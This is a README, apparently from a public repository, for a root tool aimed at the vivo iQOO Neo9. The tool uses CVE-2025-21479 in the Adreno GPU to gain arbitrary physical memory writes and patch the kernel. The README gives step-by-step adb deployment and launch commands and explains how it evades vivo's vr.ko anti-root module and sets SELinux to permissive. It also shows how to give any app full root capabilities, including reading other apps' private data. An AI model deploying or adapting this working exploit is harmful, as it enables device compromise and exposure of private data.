Neo9Root

Инструмент Caps-Root для iQOO Neo9 (PD2338C) без разблокировки — схема повышения привилегий через произвольную физическую запись на основе CVE-2025-21479 (Adreno GPU SDS)

Не нужно ни разблокировать Bootloader, ни прошивать устройство, ни устанавливать Magisk. Через уязвимость GPU достигается произвольная физическая запись на уровне ядра; после патча ключевых функций ядра резидентный root daemon получает полный набор возможностей (41-битные caps) и предоставляет root-возможности для rootc / su.

Ключевая особенность: euid остаётся 2000, чтобы обойти анти-root детект vivo vr.ko (euid=0 вызывает перезагрузку устройства); root-возможности эквивалентны uid=0, но идентичность процесса остаётся безопасной.

✨ Возможности

• 🔓 Без разблокировки BL — не затрагивает bootloader / разделы / dm-verity, всё в RAM, после перезагрузки чисто
• 🧬 Настоящий root на уровне ядра — CapEff: 000001ffffffffff (полный 41-битный набор возможностей), а не маскировка на уровне приложений
• 🛡️ Обход анти-root vivo — euid=2000 сохраняется, детект vr.ko не срабатывает, устройство не падает
• ⚙️ Резидентный daemon — файловая очередь + протокол Base64, выполнение команд без зависимостей, полная передача вывода
• 🔌 Слой совместимости — обёртка su, напрямую вызывается из MT Manager / Termux
• 📦 Ноль персистентности — все патчи в RAM, после перезагрузки автоматически восстанавливается чистое состояние

📱 Поддерживаемые устройства

⚠️ Эксплойт зависит от конкретной раскладки данного ядра (смещения символов, особенность VIVO_VMET_BREAK_KMI, поведение vr.ko), для других устройств/ядер требуется повторная адаптация.

🚀 Быстрый старт

Требования к окружению

• Windows + adb (или adb на любой платформе; скрипт — версия для PowerShell)
• На телефоне включена USB-отладка

Развёртывание в один клик (рекомендуется)

# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1

Скрипт автоматически: отправляет три файла → перезагружает устройство для получения «холодного окна» → запускает exploit в несколько раундов (вероятность попадания ~50%/раунд) → daemon готов → проверка.

Ручное развёртывание

# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"

# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...

# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"

# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功

🛠️ Использование

rootc — выполнение произвольных root-команд

# 简单命令
adb shell "/data/local/tmp/rootc id"

# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"

su — совместимость с MT Manager / Termux

su -c "ls /data/adb"          # 任意 root 命令
su -c "chown 0:0 /path/file"  # 文件属主改为 root:root
su                            # 交互模式 (stdin 逐行)

Настройка Termux: при первом использовании нужно выполнить (с root-правами):

# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"

MT Manager: Настройки → ROOT → свой путь к su → /data/local/tmp/su

u0 — операции с настоящим root (euid=0)

Окружение rootc/su намеренно сохраняет euid=2000 (для защиты от анти-root детекта vr.ko). Однако драйверы некоторых интерфейсов ядра (например, /proc/vrp, отдельные узлы sysfs) проверяют current_euid()==0, и даже полные caps не проходят → в этом случае используйте u0, чтобы через CAP_SETUID окружения rootd повыситься до настоящего root:

# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"

# 用法: u0 <绝对路径程序> <参数...>   (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ...   ← 真 root 会话

• Проверено на практике: безопасно — setuid(0) не вызывает fatal от vr.ko (главный процесс rootd сам длительно живёт с uid=0; процессы с uid=0 не в списке на уничтожение)
• Подтверждённые ограничения: /proc/vrp при uid=0 + полных caps по-прежнему возвращает EPERM (в драйвере vrp активная проверка прав, это не DAC/SELinux — реверс-инжиниринг в процессе); insmod при uid=0 тоже вызывает перезагрузку устройства (детект загрузки модулей не смотрит на uid вызывающего)
• Метод сборки см. в docs\u0_说明.md

Доступ обычных пользователей (app / права ниже shell) к /data/local/tmp

/data/local/tmp по умолчанию имеет drwxrwxrwt (1777, владелец shell) — на уровне DAC любой пользователь может читать и писать. На самом деле обычных пользователей (домен untrusted_app) ограничивает SELinux (политика запрещает домену app доступ к метке shell_data_file):

# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"

# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
#    ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
#       (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
#       物理写 permissive (run_selinux_rmw, 已内置在部署流程)

# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id        # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力

• app может выполнять rootc (каталог 1777 + файл 755) → обычный пользователь получает полные root-возможности
• Ограничение: после перезагрузки permissive сбрасывается → доступ обычных пользователей снова ограничен (shell_data_file доступен только домену shell); восстанавливается после повторного развёртывания
• Если нужно только прочитать файл: передайте через su -c "cat /data/local/tmp/xxx > /sdcard/xxx" (у app нет препятствий для доступа к /sdcard)

Часто используемые проверки

su -c id                                        # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status"           # 000001ffffffffff = 全能力
su -c "ls /data/adb"                            # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x"   # root 专属操作
su -c "head -5 /proc/iomem"                     # 内核物理内存布局
su -c "ls /data/data/<任意包名>"                 # 任意 app 私有数据

🔬 Принцип работы

CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
        │  特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
        ▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
        │
        ├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
        │        → exec 后保留 effective caps (普通命令也能带全 caps)
        ├──▶ patch kptr_restrict = 0
        │        → /proc/kallsyms 全地址可见
        └──▶ patch vhangup stub (MODE=10 提权)
                 → fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
                 → fork 常驻 daemon (文件队列服务)
        │
        ▼
rootc / su  ──(文件队列 + B64)──▶  daemon ──▶ 任意 root 命令 (全 caps)

Почему euid=2000? В ядре vivo встроен анти-root модуль vr.ko: при обнаружении процесса вне домена vrp с cred->euid==0 он вызывает fatal (перезагрузку устройства). Повышение привилегий через MODE=10 намеренно не меняет euid, а только записывает fsuid/fsgid + caps — vr.ko не срабатывает, но все проверки ядра capable() проходят (настоящие root-возможности).

📂 Структура проекта

neo9_root/
├── README.md                 # 本文档
├── LICENSE                   # MIT
├── exploit/                  # 漏洞利用
│   ├── exploit_vivo.c        #   源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│   ├── exploit_vivo_neo9     #   编译产物 (aarch64 musl 静态)
│   └── stubs/                #   提权 stub 汇编
├── client/                   # 客户端
│   ├── rootc.c / rootc       #   root 命令客户端 (文件队列 + B64)
│   ├── su                    #   su 兼容包装器 (MT/Termux)
│   ├── u0.c / u0             #   euid=0 提升工具 (真 root 操作, 见"u0"章节)
│   └── shim.c / shim.so      #   LD_PRELOAD kptr_restrict 重定向 (ksud insmod 链路)
├── scripts/                  # 部署脚本
│   ├── run_rootc_loop.ps1    #   推荐: 多轮自动部署
│   └── run_root_final.ps1    #   一键部署
├── tools/                    # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/                     # 调试记录
│   ├── DEBUG_RECORD.md       #   完整调试记录 (崩溃根因链)
│   └── EXPLOIT0_FIX.md       #   exploit0 修复记录
└── archive/                  # 失败方案参考 (setuid 方案等)

⚠️ Известные ограничения и примечания

• После перезагрузки всё пропадает: все патчи живут в RAM, после перезагрузки нужно разворачивать заново
• Холодное окно: попадание exploit'а зависит от запуска в течение <3 мин после reboot; первые ~28 кандидатов цикла внутри процесса — нормальное окно GPU, после них GPU может зависнуть → используйте run_rootc_loop.ps1 для повторных попыток
• Отвал adb ≠ краш: при высокой нагрузке на GPU adbd может перестать отвечать, из-за чего adb отваливается; проверяйте через cat /proc/uptime (uptime растёт и экран работает = устройство не упало)
• id показывает uid=2000: см. раздел о принципе работы, это задуманное поведение; возможности эквивалентны root
• mount / ограничен fstab; /system только для чтения (erofs + dm-verity), персистентные изменения невозможны
• Права /data/local/tmp: для сценариев Termux/обычных пользователей нужен chmod 1777 (см. раздел «Доступ обычных пользователей»); SELinux должен оставаться в permissive (устанавливается при развёртывании exploit'а), не используйте setenforce 0 (детект vr.ko)

❓ FAQ

В: Это настоящий root? О: Да. Все проверки ядра capable() (CapEff полностью открыт, chown 0:0, чтение /proc/iomem, чтение данных любого приложения) проходят — ядро признаёт root-возможности, просто числовой uid равен 2000.

В: Можно ли получить «кирпич»? О: Нет. Никакой записи в разделы, никаких персистентных изменений; худший случай — зависание GPU, после перезагрузки всё восстанавливается.

В: Поддерживаются ли другие модели? О: Нужна повторная адаптация (раскладка ядра, смещения символов и поведение vr.ko уникальны для PD2338C; если устройство — vivo iqoo neo9 и система OriginOS 5 — можно попробовать).

📜 Отказ от ответственности

Данный проект предназначен только для исследований в области безопасности и использования на личных устройствах. Любые последствия использования данного инструмента (включая, но не ограничиваясь: повреждение устройства, потеря данных, потеря гарантии) пользователь берёт на себя. Соблюдайте местные законы и нормативные акты, не используйте в незаконных целях.

🙏 Благодарности

• zhuowei/cheese — оригинальный фреймворк GPU exploit
• sarabpal-dev/cheese-cake — расширенная реализация
• Публичные исследования Type010 / CyberMeowfia и др. — за идеи

📄 Лицензия

MIT